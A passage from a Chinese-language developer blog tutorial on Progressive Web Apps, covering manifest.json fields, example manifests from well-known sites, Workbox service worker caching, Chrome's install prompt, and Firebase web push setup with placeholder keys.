\u0026lt;link rel=\u0026#34;apple-touch-startup-image\u0026#34; href=\u0026#34;images/splash-1668x2224.png\u0026#34; media=\u0026#34;(min-device-width: 834px) and (max-device-width: 834px) and (-webkit-min-device-pixel-ratio: 2) and (orientation: portrait)\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-startup-image\u0026#34; href=\u0026#34;images/splash-2048x2732.png\u0026#34; media=\u0026#34;(min-device-width: 1024px) and (max-device-width: 1024px) and (-webkit-min-device-pixel-ratio: 2) and (orientation: portrait)\u0026#34;\u0026gt; icons 應用程式的圖示，icons 裡放陣列，放不同尺寸下的主要圖示，如果 Splash Screen 裡要用的圖示，大小必須包含 192px、512px。\nicons 裡，陣列裡的每一個物件有 3 個成員：\nsizes 圖片尺寸，可用在多個尺寸上的話用空白鍵區隔。 src 圖片的路徑，如果是相對路徑，是以 manifest 所在的位置為基準。 type 圖檔類型，這項排必填，主要是告知裝置類型，讓不支援的裝置可以快速略過。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 \u0026#34;icons\u0026#34;: [ { \u0026#34;src\u0026#34;: \u0026#34;icon/lowres.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;48x48\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;icon/lowres\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;48x48\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;icon/hd_hi.ico\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;72x72 96x96 128x128 256x256\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;icon/hd_hi.svg\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;72x72\u0026#34; } ] 由於 manifest 在 IOS 上還不支援，因此如果 IOS 上也想要自訂 icon，就要改用 HTML 裡的 meta 來設定，如下：\n1 2 3 \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;57x57\u0026#34; href=\u0026#34;apple-icon-57x57.png\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;72x72\u0026#34; href=\u0026#34;apple-icon-72x72.png\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;114x114\u0026#34; href=\u0026#34;apple-icon-114x114.png\u0026#34; /\u0026gt; name 應用程式的完整名稱，會顯示在 Splash Screen上，以及主畫面上的名稱。\n1 \u0026#34;name\u0026#34;: \u0026#34;Wayne\u0026#39;s blog\u0026#34; short_name 應用程式的簡寫，當 name 太長而無法顯示時，會改成顯示簡寫。\n1 \u0026#34;short_name\u0026#34;: \u0026#34;Wayne\u0026#39;s blog\u0026#34; lang 主要語言，針對 name、short_name 這兩個使用的。\n語言列表可以在這找：https://www.iana.org\n1 \u0026#34;lang\u0026#34;: \u0026#34;zh-Hant-TW\u0026#34; description 應用程式的描述，描述這個應用程式是做什麼的。\n1 \u0026#34;description\u0026#34;: \u0026#34;偉恩的部落格，用於紀錄coding life查找的資料、筆記與文章，統整起來除了自己使用，也希望對各位有幫助。\u0026#34; dir 文字書寫方向，值有 3 個：ltr（左至右）、rtl（右至左）、auto（讓瀏覽器自己決定），不填的話預設值是 auto。\n1 \u0026#34;dir\u0026#34;: \u0026#34;ltr\u0026#34; display 應用程式的顯示模式，顯示模式指的是從主畫面點開 App 後，要顯示的樣子，有 4 個值可用：\nfullscreen： 全螢幕，就像在用原生 App 一樣，會隱藏所有的瀏覽器 UI。 standalone： 會隱藏標準瀏覽器 UI 元素，如 URL 欄等。 browser： 預設值，就像一般用瀏覽器一樣。 minimal： ui 會有導覽列最小的 UI，這個值 Chrome 不支援。 如果要 Chrome 主動提示加入主畫面的話，設定值必須要是 standalone。\n1 \u0026#34;display\u0026#34;: \u0026#34;standalone\u0026#34; orientation 預設顯示的方向是直的或橫的，可以強制讓使用者必須裝置拿直的（landscape）或拿橫的（portrait）看。這點要設要仔細思考過才行，因為使用都大部份都喜歡自己決定是直看或横看。\n如果是遊戲類型的，可以設定用橫的。\n1 \u0026#34;orientation\u0026#34;: \u0026#34;landscape\u0026#34; prefer_related_applications 是否要推薦一個原生的 App，PWA 是模擬頁面為 App，如果網站本身有出 App，這項就可以設成 true，從主畫面點開頁面時就會出現可以下載 App 的提示。\n如果這項為 true，則下面的 related_applications 就要填入值；這項的預設值為 false。\n1 \u0026#34;prefer_related_applications\u0026#34;: false related_applications 推薦原生 App 的連結，值是陣列，裡面放 App 資訊的物件，每項物件有 2 個成員要填，是 Google Play 上的話則有 3 個成員。\nplatform： 應用程式的平台，可填 play、itunes。 url： 應用程式的網址。 id： Google Play上要填的 ID。 1 2 3 4 5 6 7 8 9 10 11 \u0026#34;related_applications\u0026#34;: [ { \u0026#34;platform\u0026#34;: \u0026#34;play\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;https://play.google.com/store/apps/details?id=com.example.app1\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;com.example.app1\u0026#34; }, { \u0026#34;platform\u0026#34;: \u0026#34;itunes\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;https://itunes.apple.com/app/example-app1/id123456789\u0026#34; } ] start_url 開啟應用程式時的預設網址，如果有設定的話，開啟應用程式時就會進到設定的網址。沒設定的話就是使用者按加入主畫面時的那個網址。\n如果填寫的是相對路徑，是以 manifest 所在的位置為基準。\n建議可以在網址上加入 Google Analytics 的 utm 參數，這樣在 GA 上就可以看見多少來源是來自於 PWA，可以檢測成效。\n如果要 Chrome 主動提示加入主畫面的話，這項必須填寫。\n1 \u0026#34;start_url\u0026#34;: \u0026#34;./?utm_source=web_app_manifest\u0026#34; scope 應用程式的使用範圍，這項如果有填，那應用程式的作用域就會限在指定的目錄裡，超過指定目錄，就會當成一般的網頁瀏覽。\n1 \u0026#34;scope\u0026#34;: \u0026#34;/myapp/\u0026#34; manifest.json 基本檔案內容 manifest 裡的成員不是每項都一定要填寫的，以下附上 manifest.json 的基本檔內容：\nmanifest.json 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 { \u0026#34;short_name\u0026#34;: \u0026#34;Wayne\u0026#39;s blog\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Wayne\u0026#39;s blog\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;偉恩的部落格，用於紀錄coding life查找的資料、筆記與文章，統整起來除了自己使用，也希望對各位有幫助。\u0026#34;, \u0026#34;icons\u0026#34;: [ { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-57x57.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;57x57\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-114x114.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;114x114\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-120x120.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;120x120\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-180x180.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;180x180\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-192x192.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;192x192\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-512x512.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;512x512\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./maskable_icon.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;512x512\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34;, \u0026#34;purpose\u0026#34;: \u0026#34;any maskable\u0026#34; } ], \u0026#34;lang\u0026#34;: \u0026#34;zh-Hant-TW\u0026#34;, \u0026#34;start_url\u0026#34;: \u0026#34;./?utm_source=web_app_manifest\u0026#34;, \u0026#34;background_color\u0026#34;: \u0026#34;#f5f5fa\u0026#34;, \u0026#34;theme_color\u0026#34;: \u0026#34;#57BCB9\u0026#34;, \u0026#34;display\u0026#34;: \u0026#34;standalone\u0026#34;, \u0026#34;orientation\u0026#34;: \u0026#34;landscape\u0026#34;, \u0026#34;prefer_related_applications\u0026#34;: false } 關於「Chrome 主動提示加入主畫面」 PWA 身為 Google 的親身兒子，在 Android 手機是很有吃香的點。\n頁面引用了 manifest.json 後，使用者在手機上點選加入主畫面，頁面就可以像 App 一樣顯示在手機的主畫面上。\n但很多使用者其實不知道有這功能，或是知道了也不常會去按。\n貼心的 Google 針對這點做了一項措施，就是主動詢問使用者要不要將頁面加入主畫面。\n根據 Google 的說明文件：Add to Home Screen，觸發 Chrome 主動詢問是否加入主畫面的條件如下：\n使用者還沒加入主畫面 在有 manifes.json 的網域下，互動了至少 30 秒 manifset.json 裡有幾項成員一定要有：name 或 short_name、icons、start_url、display 頁面要是 https 頁面有裝 service-worker（sw.js），裡面有監聽並處理 beforeinstallprompt 事件 第 5 點，是否要有寫 beforeinstallprompt，好像不是必填項目，即便沒填，在測試時也會在底部出現一條詢問框。\n在參考了這篇以後：PWA 實戰經驗分享\n發現別人是用在 UX 上更優化的地方，就是自己選擇要出現詢問框時用的。\nmanifest 觀摩 我們來看看幾個知名的 PWA 都是怎麼寫他們的 manifest.json。\n第一個是 PWA 界中很有名的 flipkart：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { \u0026#34;name\u0026#34;: \u0026#34;Flipkart Lite\u0026#34;, \u0026#34;short_name\u0026#34;: \u0026#34;Flipkart Lite\u0026#34;, \u0026#34;icons\u0026#34;: [ { \u0026#34;src\u0026#34;: \u0026#34;https:/https://static.coderbridge.com/img/techbridge/images1a.flixcart.com/www/linchpin/batman-returns/logo_lite-cbb3574d.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;192x192\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; } ], \u0026#34;gcm_sender_id\u0026#34;: \u0026#34;656085505957\u0026#34;, \u0026#34;gcm_user_visible_only\u0026#34;: true, \u0026#34;start_url\u0026#34;: \u0026#34;/?start_url=homescreenicon\u0026#34;, \u0026#34;permissions\u0026#34;: [ \u0026#34;gcm\u0026#34; ], \u0026#34;orientation\u0026#34;: \u0026#34;portrait\u0026#34;, \u0026#34;display\u0026#34;: \u0026#34;standalone\u0026#34;, \u0026#34;theme_color\u0026#34;: \u0026#34;#2874f0\u0026#34;, \u0026#34;background_color\u0026#34;: \u0026#34;#2874f0\u0026#34; } 再來是鼎鼎大名的 twitter：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 { \u0026#34;background_color\u0026#34;: \u0026#34;#ffffff\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;It\u0026#39;s what\u0026#39;s happening. From breaking news and entertainment, sports and politics, to big events and everyday interests.\u0026#34;, \u0026#34;display\u0026#34;: \u0026#34;standalone\u0026#34;, \u0026#34;gcm_sender_id\u0026#34;: \u0026#34;49625052041\u0026#34;, \u0026#34;gcm_user_visible_only\u0026#34;: true, \u0026#34;icons\u0026#34;: [ { \u0026#34;src\u0026#34;: \u0026#34;https://abs.twimg.com/responsive-web/web/ltr/icon-default.604e2486a34a2f6e.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;192x192\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;https://abs.twimg.com/responsive-web/web/ltr/icon-default.604e2486a34a2f6e.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;512x512\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; } ], \u0026#34;name\u0026#34;: \u0026#34;Twitter\u0026#34;, \u0026#34;share_target\u0026#34;: { \u0026#34;action\u0026#34;: \u0026#34;compose/tweet\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;title\u0026#34;: \u0026#34;title\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;text\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;url\u0026#34; } }, \u0026#34;short_name\u0026#34;: \u0026#34;Twitter\u0026#34;, \u0026#34;start_url\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;theme_color\u0026#34;: \u0026#34;#ffffff\u0026#34;, \u0026#34;scope\u0026#34;: \u0026#34;/\u0026#34; } 最後則是 Google I/O 2018：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 { \u0026#34;name\u0026#34;: \u0026#34;Google I/O 2018\u0026#34;, \u0026#34;short_name\u0026#34;: \u0026#34;I/O 2018\u0026#34;, \u0026#34;start_url\u0026#34;: \u0026#34;./?utm_source=web_app_manifest\u0026#34;, \u0026#34;display\u0026#34;: \u0026#34;standalone\u0026#34;, \u0026#34;theme_color\u0026#34;: \u0026#34;#6284F3\u0026#34;, \u0026#34;background_color\u0026#34;: \u0026#34;#6284F3\u0026#34;, \u0026#34;icons\u0026#34;: [{ \u0026#34;src\u0026#34;: \u0026#34;static/images/homescreen/homescreen57.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;57x57\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;static/images/homescreen/homescreen114.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;114x114\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;static/images/homescreen/homescreen128.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;128x128\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;static/images/homescreen/homescreen144.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;144x144\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;static/images/homescreen/homescreen192.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;192x192\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;static/images/homescreen/homescreen512.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;512x512\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }], \u0026#34;prefer_related_applications\u0026#34;: false, \u0026#34;related_applications\u0026#34;: [{ \u0026#34;platform\u0026#34;: \u0026#34;play\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;com.google.samples.apps.iosched\u0026#34; }], \u0026#34;gcm_sender_id\u0026#34;: \u0026#34;103953800507\u0026#34; } 我滿喜歡觀察別人家的這些東西，因為你會發現很多你查資料時遺漏或是根本找不到的資訊，而且這些看久了你也會有個概念，知道哪些屬性特別常用，除了 manifest.json 以外，也可以參考 html 裡面的 tag，一樣能學習到很多。\nService Worker 介紹 加入 Service Worker 的目的就只有一個，那就是快取。透過 Service Worker（以下簡稱 SW），可以幫助我們在發送 request 之前就先攔截到並且做處理，而離線運行的原理也是這樣的，我們先在第一次開啟時註冊 SW，並且利用 SW 下載靜態檔案並快取住，之後若使用者離線，我們再用已經快取住的檔案來回覆，就不會發送真的 request，自然也不會發生無法連線的情況。\n而 Google 有提供了一個方便的工具：Workbox 來幫助我們自動產生出 SW 以及利用更方便的語法來攔截 request。\n舉例來說，我自己用的是 Webpack 的 plugin：\n1 2 3 4 5 6 7 8 9 10 new workboxPlugin.InjectManifest({ swSrc: path.join(__dirname, \u0026#39;..\u0026#39;, SRC_DIR, \u0026#39;sw.js\u0026#39;), swDest: path.join(__dirname, \u0026#39;..\u0026#39;, DIST_DIR, \u0026#39;sw.js\u0026#39;), globDirectory: path.join(__dirname, \u0026#39;..\u0026#39;, DIST_DIR), globPatterns: [\u0026#39;**/*.{js,css}\u0026#39;] }), //sw.js let precacheList = self.__precacheManifest || [] workbox.precaching.precacheAndRoute(precacheList) 只要這樣一寫，就會自動去找符合規則的檔案並且加入快取清單裡面，你只要一註冊 SW 的時候就會把那些檔案給快取起來。\n除此之外呢，Workbox 也可以針對 URL 來監聽：\nsw.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // sw.js workbox.routing.registerRoute(/(https?:\\/\\/)(.*)\\/api\\/(.*)/, args =\u0026gt; workbox.strategies .networkFirst({ cacheName: \u0026#39;data-cache\u0026#39;, plugins: [ new workbox.expiration.Plugin({ maxEntries: 100, maxAgeSeconds: 2592000 }) ] }) .handle(args) .then(response =\u0026gt; { return response }) .catch(err =\u0026gt; { console.log(\u0026#39;err:\u0026#39;, err) }) ) 像上面的程式碼就是針對路徑中含有 api 的 request 做快取，這樣在離線時也可以利用以前快取住的 API response。\nWorkbox 針對這種動態的快取提供幾種策略，分別是：staleWhileRevalidate、cacheFirst、networkFirst、networkOnly與cacheOnly，其實看名字就可以大概理解策略是什麼了，想知道詳細的內容可以參考官方文件：Workbox Strategies。\n總之自從有了 Workbox 之後，基本上就不用自己手寫 SW 了，都靠著它提供的 API 以及功能就行了，就可以自動產生出符合需求的 SW。\nAdd to home screen banner 最後要來談的是「安裝 PWA」這一塊，在 iOS Safari 上面別無他法，就只能自己叫出選單然後選取「Add to home screen」，可是在 Android Chrome 上面，如果你符合一定的條件（有設置 mainfest.json 以及有註冊 Service Worker），就會自動幫你跳出一個可愛的 Install banner。\n（圖片來自：Changes to Add to Home Screen Behavior）\n根據 Chrome 版本的不同，行為也有所不同。\n在 Chrome 67（含）以前的版本，如果你在 beforeinstallprompt 事件裡面沒有特別用 preventDefault()，或是顯式的呼叫了 prompt()，就會出現最左邊那個頗大的 A2HS banner。\n然後在 Chrome 68（含）之後的版本，無論你做了什麼，系統都會自動出現那個 Mini-infobar，但如果使用者關掉的話，要隔三個月才會再出現一次，實在是有夠久。\n接著呢，上面這兩個 A2HS banner 跟 Mini-infobar，使用者點擊之後都會出現最右邊的 A2HS Dialog，提示使用者要不要安裝 PWA。\n但是在 Chrome 68 以後，你也可以利用程式去呼叫 beforeinstallprompt 裡面拿到的 event.prompt() 把這個 dialog 顯示出來。\n聽起來有點複雜對吧？\n先來介紹 beforeinstallprompt 這個 event 好了，這個 event 在一切都準備就緒，確認你滿足條件可以顯示 prompt 的時候會被觸發，會傳來一個 event，你可以阻止顯示 prompt，把這個 event 存起來：\n1 2 3 4 5 6 7 8 9 10 11 // 此範例來自上面的官方文件 let installPromptEvent; window.addEventListener(\u0026#39;beforeinstallprompt\u0026#39;, (event) =\u0026gt; { // Prevent Chrome \u0026lt;= 67 from automatically showing the prompt event.preventDefault(); // Stash the event so it can be triggered later. installPromptEvent = event; // Update the install UI to notify the user app can be installed document.querySelector(\u0026#39;#install-button\u0026#39;).disabled = false; }); 為什麼要存起來呢？因為使用者可能不想一打開網站就看到這個彈窗，或者他可能正在結帳結果你跳這個東西來干擾他，所以先把它存起來，等適當的時機再呼叫 installPromptEvent.prompt() 來跳出 Dialog。\n但要注意的事情是你直接呼叫 installPromptEvent.prompt() 是沒用的，你必須要 within a user gesture，意思就是你要放在按鈕的 click 事件（或其他由使用者觸發的事件）裡才有效，直接呼叫是沒有用的，而且會看到 console 跳出錯誤訊息。\n我之前一度很好奇它是怎麼做判斷的，後來發現原來有 event.isTrusted 可以用，可以判斷一個事件是不是被使用者主動觸發的，參考資料：MDN - Event.isTrusted。\n總之呢，因為在不同版本上的 Chrome 有不同行為，所以最後我們決定用下面的程式碼針對不同版本有不同的反應：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 // 把 event 存起來 var installPromptEvent // 要顯示 prompt 的延遲 var showTime = 30 * 1000 window.addEventListener(\u0026#39;beforeinstallprompt\u0026#39;, function (e) { e.preventDefault() installPromptEvent = e var data = navigator.userAgent.match(/Chrom(e|ium)\\\\/([0-9]+)\\\\./) var version = (data \u0026amp;\u0026amp; data.length \u0026gt;= 2) ? parseInt(data[2], 10) : null if (version \u0026amp;\u0026amp; installPromptEvent.prompt) { // 延遲一段時間才顯示 prompt setTimeout(function() { // 如果 Chrome 版本是 67（含）以下，可以直接呼叫 if (version \u0026lt;= 67) { installPromptEvent.prompt() return } // 否則的話必須透過 user action 主動觸發 // 這邊幫 #root 加上 event listener，代表點擊螢幕任何一處都會顯示 prompt document.querySelector(\u0026#39;#root\u0026#39;).addEventListener(\u0026#39;click\u0026#39;, addToHomeScreen) }, showTime) } }); function addToHomeScreen(e) { if (installPromptEvent) { installPromptEvent.prompt() installPromptEvent = null document.querySelector(\u0026#39;#root\u0026#39;).removeEventListener(\u0026#39;click\u0026#39;, addToHomeScreen) } } 如果是 67 以下，直接呼叫就可以顯示 prompt，否則的話還要再一步，要加個 event listener 才行，而我們也選擇延遲 30 秒才顯示。\n出乎意料地，這樣一個小改動帶來驚人的成長，原本一天大概才 20、30 個人安裝 PWA，經過這樣調整之後瞬間變成八到十倍，看到 GA 的那個統計圖我也嚇了一跳，沒想到效果這麼好。\n與其一直積極地要別人快點安裝 PWA，還不如只要求真的對你產品有興趣（停留超過 30 秒鐘）的人。\n用 Firebase 做 Web Push 用到的資源 Web Push 推播功能，這陣子很常看到的一個功能，如果一進入網站，看到網站要求顯示通知的權限，就代表這個網站有用這功能：\n那通常，很多網站 UX 設計不良，在使用者根本就還搞不清楚這網站是幹麻的情況下就跳通知，所以大部份都直接按封鎖了吧 XD？\n總之，在踩了幾個坑以後，終於完整的寫出了 Web Push 的功能。\n完整是指會在桌機、安卓手機發出推播通知，並且點了會進到指定的頁面，同時在 Firebase 儲存發送訊息的記錄。\n用到的資源如下：\n資料庫：Firebase Realtime Database 推播功能：Firebase Cloud Messaging JS framework：Vue.js Web Push 是 PWA 一個很重要的功能！\n取得 FCM 金鑰 本篇是用 Firebase 的 Cloud Messaging功能（以下稱 FCM），去實作 Web Push。所以第一步是要先在 Firebase 上開一個專案。\n以下截圖所用到的 Firebase 專案之後會刪掉，各種金鑰最後都不會存在，純示範用。\n開完專案後，要取得推播金鑰，有了金鑰才能始用 FCM 的功能。\n首先進到 Firebase 後台，點選齒輪後，再點選專案設定：\n點擊 Cloud Messaging：\n頁面往下拉，會看到一個「網路設定」的區塊，有一個「產生金鑰組」的按金，按下去：\n就會產生一組 Web Push 用的金鑰，先存下來，Firebase Config 裡會用到：\n新增 manifest.json、Firebase Config 取得金鑰後，第二步就是新增一個 manifest.json 的檔案，檔案內容大概如下：\nmanifest.json 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { \u0026#34;short_name\u0026#34;: \u0026#34;XXX\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;XXXXXX\u0026#34;, \u0026#34;icons\u0026#34;: [ { \u0026#34;src\u0026#34;: \u0026#34;./logo/logo192.png\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;192x192\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;./logo/logo512.png\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;512x512\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./logo/maskable_icon.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;512x512\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34;, \u0026#34;purpose\u0026#34;: \u0026#34;any maskable\u0026#34; } ], \u0026#34;start_url\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;background_color\u0026#34;: \u0026#34;#ffffff\u0026#34;, \u0026#34;display\u0026#34;: \u0026#34;standalone\u0026#34;, \u0026#34;scope\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;theme_color\u0026#34;: \u0026#34;#000000\u0026#34;, \u0026#34;gcm_sender_id\u0026#34;: \u0026#34;103953800507\u0026#34; } 最重要的是這一行：\n1 \u0026#34;gcm_sender_id\u0026#34;: \u0026#34;103953800507\u0026#34; 這行一定要有，key、value 是固定的，copy 貼上就行。\nFirebase Config 建立一個首頁的檔案 index.html，在頁尾的部份引用 Firebase Config。\nFirebase Config 一樣是後台有提供，點小齒輪，再點專案設定後，接著點代表 Web 的那個按鈕：\n就會出現 Config 了：\ncopy 以後貼到 index.html，另外也一併貼上 FCM 的引用，整合後如下：\nfcm-web-push-firebase-config.html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;script src=\u0026#34;https://www.gstatic.com/firebasejs/5.9.1/firebase.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; var config = { apiKey: \u0026#34;XXXXXXXXXX\u0026#34;, authDomain: \u0026#34;XXXXXXXXXX.firebaseapp.com\u0026#34;, databaseURL: \u0026#34;https://XXXXXXXXXX.firebaseio.com\u0026#34;, projectId: \u0026#34;XXXXXXXXXX\u0026#34;, storageBucket: \u0026#34;XXXXXXXXXX.appspot.com\u0026#34;, messagingSenderId: \u0026#34;XXXXXXXXXX\u0026#34; }; firebase.initializeApp(config); var database = firebase.database(); var messaging = firebase.messaging(); messaging.usePublicVapidKey(\u0026#39;XXXXXXXXXXXXXXXXXXXX\u0026#39;); \u0026lt;/script\u0026gt; 最後一行的：\n1 messaging.usePublicVapidKey(\u0026#39;XXXXXXXXXXXXXXXXXXXX\u0026#39;); XXX 就是要替換成第一步拿到的 FCM 金鑰。\n取得使用者的 token 簡單來說，Web Push 推播功能的流程如下：\n註冊 service-worker → 向使用者要求允許通知權限 → FCM 產生這個裝置的 token → token 寫進資料庫 → 從後台使用 Web Push → Server 發 Web Push 到裝置上 → 裝置上的 service worker 接收 → service worker 執行 notification token 是每一個裝置會有的，之所以會以裝置為單位，而不是以使用者為單位，是因為每一個裝置都可以註冊service worker，而且每次存的 token 都會不同，所以一個使用者在桌機的 Chrome、Fireox，或是安卓手機的Chrome、Firefox，都有不同的 token。\n假設王小明在桌機的 Chrome、Firefox，都按下了允許通知，在安卓手機的 Chrome、Firefox 也按了允許通知，那當我們按下發送推播後，王小明就會在 4 個地方收到相同的通知。因為是用裝置來區分的。\nIOS 目前還不支援 Web Push。\n2020.04.10更新：\n今天看到 iZooto 的 一篇文章 上寫，在比對了一下 Can I Use 中的 service workers 支援情況，可以看到 IOS11.3 開始支援 Service Workers 了，但 Web Push 的功能只支援在 MAC，尚未支援到 iPhone 上。\n新增 sw.js 用 Workbox 新增一個 sw.js 檔案，把 Firebase 的 Config 放進去，程式碼如下：\nfcm-web-push-sw1.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 importScripts(\u0026#34;https://storage.googleapis.com/workbox-cdn/releases/3.6.3/workbox-sw.js\u0026#34;); importScripts(\u0026#39;https://www.gstatic.com/firebasejs/5.7.0/firebase-app.js\u0026#39;); importScripts(\u0026#39;https://www.gstatic.com/firebasejs/5.7.0/firebase-messaging.js\u0026#39;); workbox.clientsClaim(); workbox.skipWaiting(); workbox.precaching.precacheAndRoute([ // 要快取的檔案 ]); // firebase config var config = { apiKey: \u0026#34;XXXXXXXXXX\u0026#34;, authDomain: \u0026#34;XXXXXXXXXX.firebaseapp.com\u0026#34;, databaseURL: \u0026#34;https://XXXXXXXXXX.firebaseio.com\u0026#34;, projectId: \u0026#34;XXXXXXXXXX\u0026#34;, storageBucket: \u0026#34;XXXXXXXXXX.appspot.com\u0026#34;, messagingSenderId: \u0026#34;XXXXXXXXXX\u0026#34; }; firebase.initializeApp(config); var messaging = firebase.messaging(); 如果推播裡要放公司的 Logo，那 Logo 的圖檔就要寫進快取檔案的清單裡，到時推播才有圖檔可以顯示。\n註冊 sw.js、存 Cookies、存 Firebase 如果拿到的 token 不存在 Cookies 裡，用 Cookies 判斷是否拿過 token，那使用者就會存到 2 組以上的 token，在發推播時，就會收到相同的訊息多次。\n當然，如果使用者清除了快取，就會有別種情況發生，最好的方式還是讓使用者登入會員後，再取得 token，把 token 跟會員綁一起，就不會有奇奇怪怪的情形出現。\n以下為 JS code：\nfcm-web-push-get-token.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 window.addEventListener(\u0026#39;load\u0026#39;, function() { if(\u0026#39;serviceWorker\u0026#39; in navigator) { navigator.serviceWorker.register(\u0026#39;/sw.js\u0026#39;) .then(function(reg) { // firebase methods，用同一支sw.js messaging.useServiceWorker(reg); }) // 註冊失敗 .catch(function(err) { console.log(\u0026#39;error: \u0026#39;, err); }); } messaging.requestPermission().then(function() { // 先判斷cookies有沒有token，沒有再取token var ckv = 